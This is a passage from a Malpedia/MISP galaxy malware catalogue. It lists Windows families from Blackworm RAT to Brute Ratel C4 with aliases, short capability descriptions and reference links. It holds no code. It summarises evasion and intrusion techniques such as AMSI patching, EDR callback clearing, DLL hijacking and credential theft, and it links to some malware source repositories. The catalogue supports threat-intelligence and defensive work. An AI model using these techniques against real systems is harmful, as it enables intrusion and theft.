https://redsense.com/publications/royal-blacksuit-how-ransomware-rebrand-reshaped-them/
https://www.bleepingcomputer.com/news/security/law-enforcement-seizes-blacksuit-ransomware-leak-sites/

Blackworm RAT

The tag is: *misp-galaxy:malpedia="Blackworm RAT"*

Blackworm RAT is also known as:

Table 3354. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackworm_rat
https://www.fireeye.com/blog/threat-research/2014/08/connecting-the-dots-syrian-malware-team-uses-blackworm-for-attacks.html
https://github.com/BlackHacker511/BlackWorm
https://www.fidelissecurity.com/threatgeek/archive/down-h-w0rm-hole-houdinis-rat/

BleachGap

The tag is: *misp-galaxy:malpedia="BleachGap"*

BleachGap is also known as:

Table 3355. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bleachgap
https://labs.k7computing.com/index.php/bleachgap-revamped/

BLINDINGCAN

BLINDINGCAN is a remote access trojan that communicates with its C&C server via HTTP(S). It uses a (custom) RC4 or AES for encryption and decryption of its configuration and network traffic. It sends information about the victim's environment, like computer name, IP, Windows product name and processor name. It supports around 30 commands that include operations on the victim's filesystem, basic process management, command line execution, file exfiltration, configuration

update, and the download and execution of additional payloads from the attackers' C&C. The commands are indexed by 16-bit integers, starting with the index 0x2009 and going incrementally up to 0x2057, with some indicis being skipped. It uses various parameter names in its HTTP POST requests, mostly associated with web servers running bulletin board systems, like bbs, article, boardid, s_board, page, idx_num, etc. It contains specific RTTI symbols like ".?AVCHTTP_Protocol@@", ".?AVCFileRW@@" or ".?AVCSinSocket@@". BLINDINGCAN RAT is a flagship payload deployed in many Lazarus attacks, especially in the Operation DreamJob campaigns happening in 2020-2022.

The tag is: *misp-galaxy:malpedia="BLINDINGCAN"*

BLINDINGCAN is also known as:

- AIRDRY
- ZetaNile

Table 3356. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blindingcan
https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf
https://www.cisa.gov/news-events/analysis-reports/ar20-232a
https://www.hvs-consulting.de/lazarus-report/
https://www.microsoft.com/security/blog/2022/09/29/zinc-weaponizing-open-source-software/
https://www.welivesecurity.com/2022/09/30/amazon-themed-campaigns-lazarus-netherlands-belgium/
https://www.mandiant.com/resources/blog/dprk-whatsapp-phishing
https://securelist.com/it-threat-evolution-q2-2023/110355/
https://www.sentinelone.com/blog/the-blindingcan-rat-and-malicious-north-korean-activity/
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://brandefense.io/blog/apt-groups/lazarus-apt-group-apt38/
https://securelist.com/the-lazarus-group-deathnote-campaign/109490/
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a
https://blogs.jpcert.or.jp/en/2020/09/BLINDINGCAN.html
https://www.virusbulletin.com/uploads/pdf/conference/vb2023/papers/Lazarus-campaigns-and-backdoors-in-2022-2023.pdf

BLINDTOAD

BLINDTOAD is 64-bit Service DLL that loads an encrypted file from disk and executes it in memory.

The tag is: *misp-galaxy:malpedia="BLINDTOAD"*

BLINDTOAD is also known as:

Table 3357. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blindtoad
https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/
https://adeo.com.tr/wp-content/uploads/2020/05/ADEO-Lazarus-APT38.pdf
https://baesystemsai.blogspot.com/2017/10/taiwan-heist-lazarus-tools.html
https://content.fireeye.com/apt/rpt-apt38

BlindEDR

According to Cyderes, this is a tool to clear kernel callbacks registered by a range of security solutions.

The tag is: *misp-galaxy:malpedia="BlindEDR"*

BlindEDR is also known as:

Table 3358. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blind_edr
https://www.cyderes.com/howler-cell/chrome-installer-impersonation-campaign-targets-china-based-victims-with-valleyrat-trojan

Blister

Elastic observed this loader coming with valid code signatures, being used to deploy secondary payloads in-memory.

The tag is: *misp-galaxy:malpedia="Blister"*

Blister is also known as:

- COLORFAKE

Table 3359. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blister
https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions
https://killingthebear.jorgetesta.tech/actors/evil-corp

https://blog.fox-it.com/2023/11/01/popping-blisters-for-research-an-overview-of-past-payloads-and-exploring-recent-developments/
https://redcanary.com/blog/intelligence-insights-january-2022/
https://security-labs.elastic.co/security-labs/revisiting-blister-new-developments-of-the-blister-loader
https://www.elastic.co/blog/elastic-security-uncovers-blister-malware-campaign
https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/d/thwarting-loaders-from-socgholish-to-blisters-lockbit-payload/iocs-thwarting-loaders-socgholish-blister.txt
https://www.trendmicro.com/en_no/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html
https://cloudsek.com/technical-analysis-of-code-signed-blister-malware-campaign-part-2/
https://cloudsek.com/technical-analysis-of-code-signed-blister-malware-campaign-part-1/
https://www.elastic.co/security-labs/revisiting-blister-new-developments-of-the-blister-loader
https://elastic.github.io/security-research/malware/2022/05/02.blister/article/
https://twitter.com/MsftSecIntel/status/1522690116979855360

BloodAlchemy

This malware family is the suspected successor to ShadowPad and Deed rat.

The tag is: *misp-galaxy:malpedia="BloodAlchemy"*

BloodAlchemy is also known as:

Table 3360. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bloodalchemy
https://blog-en.itochuci.co.jp/entry/2024/05/23/090000
https://www.elastic.co/security-labs/disclosing-the-bloodalchemy-backdoor

BloodyStealer

The tag is: *misp-galaxy:malpedia="BloodyStealer"*

BloodyStealer is also known as:

Table 3361. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bloodystealer
https://securelist.com/bloodystealer-and-gaming-assets-for-sale/104319/
https://twitter.com/3xp0rtblog/status/1380087553676697617

BlueFox

BlueFox is a .NET infostealer sold on forums as a Maware-as-a-Service. Its capabilities are those of a classic information stealer, with a focus on cryptocurrency wallets, and file grabber and loader capabilities.

The tag is: *misp-galaxy:malpedia="BlueFox"*

BlueFox is also known as:

Table 3362. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bluefox
https://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar/
https://blog.sekoia.io/bluefox-information-stealer-traffer-maas/

BLUEHAZE

Mandiant associates this with UNC4191, this malware is a launcher for NCAT to establish a reverse tunnel.

The tag is: *misp-galaxy:malpedia="BLUEHAZE"*

BLUEHAZE is also known as:

Table 3363. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bluehaze
https://www.mandiant.com/resources/blog/china-nexus-espionage-southeast-asia

BLUELIGHT

Malware family used to deliver follow up payloads, variants using Microsoft Graph API and Google Web Apps have been observed.

The tag is: *misp-galaxy:malpedia="BLUELIGHT"*

BLUELIGHT is also known as:

Table 3364. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bluelight
https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/

BlueNoroff

This family contains the BlueNoroff toolkit used for SWIFT manipulation, as used by the Lazarus activity cluster also referred to as BlueNoroff.

The tag is: *misp-galaxy:malpedia="BlueNoroff"*

BlueNoroff is also known as:

Table 3365. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bluenoroff
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf

BlueShell

According to AhnLab, BlueShell is a backdoor malware developed in Go language, published on Github, and it supports Windows, Linux, and Mac operating systems. Currently, the original Github repository is presumed to have been deleted, but the BlueShell source code can still be obtained from other repositories. It features an explanatory ReadMe file in Chinese, indicating the possibility that the creator is a Chinese user.

The tag is: *misp-galaxy:malpedia="BlueShell"*

BlueShell is also known as:

Table 3366. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blueshell
https://asec.ahnlab.com/en/47455/
https://asec.ahnlab.com/ko/56715/
https://hunt.io/blog/blueshell-four-years-on-still-a-formidable-threat
https://asec.ahnlab.com/en/56941/

BlueSky

Ransomware.

The tag is: *misp-galaxy:malpedia="BlueSky"*

BlueSky is also known as:

Table 3367. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bluesky
https://thedfirreport.com/2023/12/04/sql-brute-force-leads-to-bluesky-ransomware/
https://unit42.paloaltonetworks.com/bluesky-ransomware/
https://yoroi.company/research/dissecting-bluesky-ransomware-payload/
https://www.sentinelone.com/blog/bluesky-ransomware-ad-lateral-movement-evasion-and-fast-encryption-puts-threat-on-the-radar/
https://cloudsek.com/technical-analysis-of-bluesky-ransomware/

BLUETHER

The tag is: *misp-galaxy:malpedia="BLUETHER"*

BLUETHER is also known as:

- CAPGELD

Table 3368. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bluether
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf
https://web.archive.org/web/20200229012206/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf

BluStealer

Avast describe this malware as a recombination of other malware including SpyEx, ThunderFox, ChromeRecovery, StormKitty, and firepwd.

The tag is: *misp-galaxy:malpedia="BluStealer"*

BluStealer is also known as:

- a310logger

Table 3369. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blustealer
https://blogs.blackberry.com/en/2021/10/threat-thursday-blustealer-infostealer
https://decoded.avast.io/anhho/blustealer/
https://blog.minerva-labs.com/a-new-blustealer-loader-uses-direct-syscalls-to-evade-edrs
https://twitter.com/GoSecure_Inc/status/1437435265350397957
https://www.gosecure.net/blog/2021/09/22/gosecure-titan-labs-technical-report-blustealer-malware-threat/
https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord

BMANAGER

The tag is: *misp-galaxy:malpedia="BMANAGER"*

BMANAGER is also known as:

Table 3370. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bmanager
https://www.group-ib.com/blog/boolka/

BOATLAUNCH

FIN7 uses this malware as helper module during intrusion operations. BOATLAUNCH is continuously looking for PowerShell processes on infected systems and patches them to bypuss Windows AntiMalware Scan Interface (AMSI).

The tag is: *misp-galaxy:malpedia="BOATLAUNCH"*

BOATLAUNCH is also known as:

Table 3371. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.boatlaunch
https://www.mandiant.com/resources/evolution-of-fin7

Boaxxe

The tag is: *misp-galaxy:malpedia="Boaxxe"*

Boaxxe is also known as:

Table 3372. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.boaxxe
https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/

Bobik

This malware offers remote access capabilities but also has a DDoS module that was used against supporters of Ukraine.

The tag is: *misp-galaxy:malpedia="Bobik"*

Bobik is also known as:

Table 3373. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bobik
https://decoded.avast.io/martinchlumecky/bobik/
https://www.sentinelone.com/labs/noname05716-the-pro-russian-hacktivist-group-targeting-nato/

BockLit

According to Trend Micro, this is a ransomware written in Go, targeting Windows and MacOS environments that tries to disguise as LockBit by changing the wallpaper into a LockBit 2 screen. Most of the samples contained hard-coded AWS credentials, and the stolen data were uploaded to an Amazon S3 bucket controlled by the threat actor.

The tag is: *misp-galaxy:malpedia="BockLit"*

BockLit is also known as:

Table 3374. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bocklit
https://www.trendmicro.com/en_in/research/24/j/fake-lockbit-real-damage-ransomware-samples-abuse-aws-s3-to-stea.html

Bofamet

Bofamet Stealer is an infostealer managed through a web-based Command and Control (C2) panel, allowing attackers to configure operations, monitor infected hosts, and retrieve stolen data in real time.

The tag is: *misp-galaxy:malpedia="Bofamet"*

Bofamet is also known as:

Table 3375. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bofamet
https://www.broadcom.com/support/security-center/protection-bulletin/bofamet-stealer-malware

Bohmini

The tag is: *misp-galaxy:malpedia="Bohmini"*

Bohmini is also known as:

Table 3376. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bohmini

BOLDMOVE (Windows)

According to Mandiant, this malware family is attributed to potential chinese background and its Linux variant is related to exploitation of Fortinet's SSL-VPN (CVE-2022-42475).

The tag is: *misp-galaxy:malpedia="BOLDMOVE (Windows)"*

BOLDMOVE (Windows) is also known as:

Table 3377. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.boldmove
https://www.mandiant.com/resources/blog/chinese-actors-exploit-fortios-flaw
https://thehackernews.com/2023/01/new-chinese-malware-spotted-exploiting.html

Bolek

The tag is: *misp-galaxy:malpedia="Bolek"*

Bolek is also known as:

- KBOT

Table 3378. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bolek

https://securelist.com/kbot-sometimes-they-come-back/96157/
http://www.cert.pl/news/11379
https://lokalhost.pl/txt/newest_addition_to_happy_family_kbot.17.05.2015.txt

BookCodes RAT

BookCodesRAT is a remote access trojan that uses HTTP(S) for communication. It supports around 25 commands that include operations on the victim's filesystem, basic process management and the download and execution of additional tools from the attacker's arsenal. They are indexed by 32-bit integers, starting with the value 0x97853646.

BookCodesRAT uses mostly compromised South Korean web servers for the C&C traffic and is usually deployed against South Korean targets.

The tag is: *misp-galaxy:malpedia="BookCodes RAT"*

BookCodes RAT is also known as:

- BookCodesTea

Table 3379. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bookcodesrat
https://vblocalhost.com/uploads/VB2021-Lee-etal.pdf
https://securelist.com/lazarus-covets-covid-19-related-intelligence/99906/
https://www.boho.or.kr/filedownload.do?attach_file_seq=2452&attach_file_id=EpF2452.pdf
https://www.boho.or.kr/filedownload.do?attach_file_seq=2612&attach_file_id=EpF2612.pdf
https://vblocalhost.com/uploads/VB2021-Park.pdf
https://www.welivesecurity.com/2020/11/16/lazarus-supply-chain-attack-south-korea/

Book of Eli

This in .Net written malware is a classic information stealer. It can collect various information and can be depoyed in different configurations: "The full-featured version of the malware can log keystrokes, collect profile files of Mozilla Firefox and Google Chrome browsers, record sound from the microphone, grab desktop screenshots, capture photo from the webcam, and collect information about the version of the operation system and installed anti-virus software." (ESET) This malware has been active since at least 2012.

The tag is: *misp-galaxy:malpedia="Book of Eli"*

Book of Eli is also known as:

Table 3380. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bookofeli
https://www.welivesecurity.com/2016/09/22/libya-malware-analysis/

Bookworm

The tag is: *misp-galaxy:malpedia="Bookworm"*

Bookworm is also known as:

Table 3381. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bookworm
https://unit42.paloaltonetworks.com/bookworm-trojan-a-model-of-modular-architecture/

BOOMBOX

The tag is: *misp-galaxy:malpedia="BOOMBOX"*

BOOMBOX is also known as:

Table 3382. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.boombox
https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/
https://www.incibe.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf
https://r136a1.info/2022/07/19/a-look-into-apt29s-new-early-stage-google-drive-downloader/
https://cert.pl/posts/2023/04/kampania-szpiegowska-apt29/
https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf

BOOSTWRITE

FireEye describes BOOSTWRITE as a loader crafted to be launched via abuse of the DLL search order of applications which load the legitimate ‘Dwrite.dll’ provided by the Microsoft DirectX Typography Services. The application loads the ‘gdi’ library, which loads the ‘gdiplus’ library, which ultimately loads ‘Dwrite’. Mandiant identified instances where BOOSTWRITE was placed on the file system alongside the RDFClient binary to force the application to import DWriteCreateFactory from it rather than the legitimate DWrite.dll.

The tag is: *misp-galaxy:malpedia="BOOSTWRITE"*

BOOSTWRITE is also known as:

Table 3383. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.boostwrite
https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf

BOOTWRECK

BOOTWRECK is a master boot record wiper malware.

The tag is: *misp-galaxy:malpedia="BOOTWRECK"*

BOOTWRECK is also known as:

- MBRkiller

Table 3384. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bootwreck
https://blog.trendmicro.com/trendlabs-security-intelligence/new-killdisk-variant-hits-latin-american-financial-organizations-again/
https://content.fireeye.com/apt/rpt-apt38

Borat RAT

The Borat RAT comes bundled with its components (e.g. binary builder, supporting modules, server certificates). According to Cyble this malware is an unique combination of RAT, Spyware, and ransomware. The supporting modules are included; a few of the capabilities: Keylogger, Ransomware, Audio/Webcam Recording, Process Hollowing, Browser Credential/Discord Token Stealing, etc.

The tag is: *misp-galaxy:malpedia="Borat RAT"*

Borat RAT is also known as:

Table 3385. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.boratrat
https://blog.cyble.com/2022/03/31/deep-dive-analysis-borat-rat/

https://blogs.blackberry.com/en/2022/04/threat-thursday-boratrat
https://www.bleepingcomputer.com/news/security/new-borat-remote-access-malware-is-no-laughing-matter/

Borr

The tag is: *misp-galaxy:malpedia="Borr"*

Borr is also known as:

Table 3386. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.borr
https://github.com/onek1lo/Borr-Stealer
https://twitter.com/ViriBack/status/1222704498923032576
https://telegra.ph/Borr-Malware-02-04

BottomLoader

The tag is: *misp-galaxy:malpedia="BottomLoader"*

BottomLoader is also known as:

Table 3387. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bottomloader
https://blog.talosintelligence.com/lazarus_new_rats_dlang_and_telegram/

Bouncer

The tag is: *misp-galaxy:malpedia="Bouncer"*

Bouncer is also known as:

Table 3388. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bouncer
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

BoxCaon

According to Checkpoint Research, this malware family has the ability to download and upload files, run commands and send the attackers the results. It has been observed being used by threat actor IndigoZebra.

The tag is: *misp-galaxy:malpedia="BoxCaon"*

BoxCaon is also known as:

Table 3389. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.boxcaon
https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/

Bozok

The tag is: *misp-galaxy:malpedia="Bozok"*

Bozok is also known as:

Table 3390. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bozok
https://securelist.com/apt-trends-report-q1-2021/101967/
https://unit42.paloaltonetworks.com/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe
https://www.fireeye.com/blog/threat-research/2013/10/know-your-enemy-tracking-a-rapidly-evolving-apt-actor.html

BQTlock (Windows)

The tag is: *misp-galaxy:malpedia="BQTlock (Windows)"*

BQTlock (Windows) is also known as:

Table 3391. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bqtlock
https://x.com/JAMESWT_WT/status/1950864005427327320
https://labs.k7computing.com/index.php/examining-the-tactics-of-bqtlock-ransomware-its-variants/

https://socradar.io/wp-content/uploads/2025/09/BQTLock-Ransomware.pdf

BRAIN

The tag is: *misp-galaxy:malpedia="BRAIN"*

BRAIN is also known as:

Table 3392. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.brain
https://www.welivesecurity.com/2017/01/18/flashback-wednesday-pakistani-brain/

Brambul

Brambul is a worm that spreads by using a list of hard-coded login credentials to launch a brute-force password attack against an SMB protocol for access to a victim's networks.

The tag is: *misp-galaxy:malpedia="Brambul"*

Brambul is also known as:

- SORRYBRUTE

Table 3393. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.brambul
https://swanleesec.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-2
https://www.secureworks.com/research/threat-profiles/nickel-academy
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://www.us-cert.gov/ncas/alerts/TA18-149A
https://metaswan.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1
https://metaswan.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-2
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://swanleesec.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1
https://www.acalvio.com/lateral-movement-technique-employed-by-hidden-cobra/

https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5b9850b9-0fdd-48a9-b595-9234207ae7df&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://www.us-cert.gov/ncas/analysis-reports/AR18-149A

BravoNC

The tag is: *misp-galaxy:malpedia="BravoNC"*

BravoNC is also known as:

Table 3394. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bravonc
https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group

BrbBot

The tag is: *misp-galaxy:malpedia="BrbBot"*

BrbBot is also known as:

Table 3395. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.brbbot
https://github.com/itaymigdal/malware-analysis-writeups/blob/main/Brbbot/Brbbot.md

BreachRAT

This is a backdoor which FireEye call the Breach Remote Administration Tool (BreachRAT), written in C++. The malware name is derived from the hardcoded PDB path found in the RAT: C:\Work\Breach Remote Administration Tool\Release\Client.pdb

The tag is: *misp-galaxy:malpedia="BreachRAT"*

BreachRAT is also known as:

Table 3396. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.breach_rat
https://www.fireeye.com/blog/threat-research/2016/06/apt_group_sends_spea.html

Breakthrough

There is no reference available for this family and all known samples have version 1.0.0.

Pdb-strings in the samples suggest that this is an "exclusive" loader, known as "breakthrough" (maybe), e.g. C:\Users\Exclusiv\Desktop\хп-пробив\Release\build.pdb

The communication url parameters are pretty unique in this combination: gate.php?hwid=<guid>&os=<OS>&build=1.0.0&cpu=8

<OS> is one of: Windows95 Windows98 WindowsMe Windows95family WindowsNT3 WindowsNT4 Windows2000 WindowsXP WindowsServer2003 WindowsNTfamily WindowsVista Windows7 Windows8 Windows10

The tag is: *misp-galaxy:malpedia="Breakthrough"*

Breakthrough is also known as:

Table 3397. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.breakthrough_loader

Bredolab

The tag is: *misp-galaxy:malpedia="Bredolab"*

Bredolab is also known as:

Table 3398. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bredolab
https://www.fireeye.com/blog/threat-research/2010/10/bredolab-its-not-the-size-of-the-dog-in-fight.html
https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf
https://securelist.com/end-of-the-line-for-the-bredolab-botnet/36335/

BrittleBush

The tag is: *misp-galaxy:malpedia="BrittleBush"*

BrittleBush is also known as:

Table 3399. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.brittle_bush
https://www.proofpoint.com/us/blog/threat-insight/ugg-boots-4-sale-tale-palestinian-aligned-espionage

BROKEYOLK

According to Mandiant, BROKEYOLK is a .NET downloader that downloads and executes a file from a hard-coded command and control (C2) server. The malware communicates via SOAP (Simple Object Access Protocol) requests using HTTP.

The tag is: *misp-galaxy:malpedia="BROKEYOLK"*

BROKEYOLK is also known as:

Table 3400. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.brokeyolk
https://www.mandiant.com/media/17826
https://socradar.io/dark-web-profile-apt42-iranian-cyber-espionage-group/

BROLER

The tag is: *misp-galaxy:malpedia="BROLER"*

BROLER is also known as:

- down_new

Table 3401. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.broler
https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf

Broomstick

Oyster is a backdoor malware written in C++ that first appeared in July 2023. It allows for remote sessions, supporting tasks such as file transfer and command-line processing. This malware has been used by numerous threat actors as a tool to facilitate ransomware intrusions. The distribution of Oyster has likely occurred through various methods, as suggested by the build identifiers found in examined samples. Additionally, Oyster is capable of collecting basic system data and communicates with a command-and-control (C2) server. It can execute commands via cmd.exe and run additional files.

In August 2024, a new version of Oyster was discovered that featured a new command-and-control (C2) communication protocol format. This 2024 version contained plaintext strings and lacked code obfuscation, suggesting it was still in development. In contrast to the 2024 version, the new 2025 Oyster version does not send C2 messages in plaintext, instead reintroducing the substitution cipher that was present in earlier versions of Oyster.

The tag is: *misp-galaxy:malpedia="Broomstick"*

Broomstick is also known as:

- CLEANBOOST
- CleanUp
- CleanUpLoader
- Oyster

Table 3402. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.broomstick
https://www.threatdown.com/blog/rhysida-using-oyster-backdoor-to-deliver-ransomware/
https://hunt.io/blog/a-simple-approach-to-discovering-oyster-backdoor-infrastructure
https://www.rapid7.com/blog/post/2024/06/17/malvertising-campaign-leads-to-execution-of-oyster-backdoor/
https://exchange.xforce.ibmcloud.com/malware-analysis/guid:2f96dded08ec1c2dd039fca21378050c
https://hunt.io/blog/oysters-trail-resurgence-infrastructure-ransomware-cybercrime
https://exchange.xforce.ibmcloud.com/malware-analysis/guid:df2b52d89c5c0edfdf7bdaa6f67dd714
https://redcanary.com/blog/threat-intelligence/intelligence-insights-july-2025/
https://expel.com/blog/certified-oysterloader-tracking-rhysida-ransomware-gang-activity-via-code-signing-certificates/
https://go.recordedfuture.com/hubfs/reports/cta-2024-1009.pdf
https://malasada.tech/oyster-malware-delivery-via-teams-fake-app/
https://blackpointcyber.com/blog/malicious-teams-installers-drop-oyster-malware/
https://symantec-enterprise-blogs.security.com/threat-intelligence/malware-ai-llm
https://go.recordedfuture.com/hubfs/reports/cta-2025-0130.pdf
https://levelblue.com/blogs/security-essentials/like-putty-in-admins-hands

Bruh Wiper

The tag is: *misp-galaxy:malpedia="Bruh Wiper"*

Bruh Wiper is also known as:

Table 3403. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bruh_wiper
https://www.fortinet.com/blog/threat-research/the-year-of-the-wiper

BrushaLoader

The tag is: *misp-galaxy:malpedia="BrushaLoader"*

BrushaLoader is also known as:

Table 3404. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.brushaloader
https://www.cert.pl/en/news/single/brushaloader-gaining-new-layers-like-a-pro/
https://blog.talosintelligence.com/2019/02/combing-through-brushaloader.html
https://www.proofpoint.com/us/threat-insight/post/brushaloader-still-sweeping-victims-one-year-later

Brute Ratel C4

Brute Ratel C4 (BRC4) is a commercial framework for red-teaming and adversarial attack simulation, which made its first appearance in December 2020. It was specifically designed to evade detection by endpoint detection and response (EDR) and antivirus (AV) capabilities. BRC4 allows operators to deploy a backdoor agent known as Badger (aka BOLDBADGER) within a target environment. This agent enables arbitrary command execution, facilitating lateral movement, privilege escalation, and the establishment of additional persistence avenues. The Badger backdoor agent can communicate with a remote server via DNS over HTTPS, HTTP, HTTPS, SMB, and TCP, using custom encrypted channels. It supports a variety of backdoor commands including shell command execution, file transfers, file execution, and credential harvesting. Additionally, the Badger agent can perform tasks such as port scanning, screenshot capturing, and keystroke logging. Notably, in September 2022, a cracked version of Brute Ratel C4 was leaked in the cybercriminal underground, leading to its use by threat actors.

The tag is: *misp-galaxy:malpedia="Brute Ratel C4"*

Brute Ratel C4 is also known as:

- BOLDBADGER
- BruteRatel

Table 3405. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.brute_ratel_c4

https://twitter.com/MichalKoczwara/status/1652067563545800705
https://www.protect.airbus.com/blog/incident-response-analysis-of-recent-version-of-brc4/
https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/
https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f
https://medium.com/walmartglobaltech/brute-ratel-config-decoding-update-7820455022cb
https://blog.spookysec.net/analyzing-brc4-badgers/
https://blog.eclecticiq.com/inside-intelligence-center-lunar-spider-enabling-ransomware-attacks-on-financial-sector-with-brute-ratel-c4-and-latrodectus
https://insights.bridewell.com/hubfs/Cyber%20Threat%20Intelligence%20Report%202025.pdf
https://bruteratel.com/research/feature-update/2021/06/01/PE-Reflection-Long-Live-The-King/
https://go.recordedfuture.com/hubfs/reports/cta-2023-0808.pdf
https://www.mandiant.com/resources/blog/apt29-evolving-diplomatic-phishing
https://www.microsoft.com/en-us/security/blog/2025/04/03/threat-actors-leverage-tax-season-to-deploy-tax-themed-phishing-campaigns/
https://web.archive.org/web/20230216110153/https://yoroi.company/research/hunting-cyber-evil-ratels-from-the-targeted-attacks-to-the-widespread-usage-of-brute-ratel/
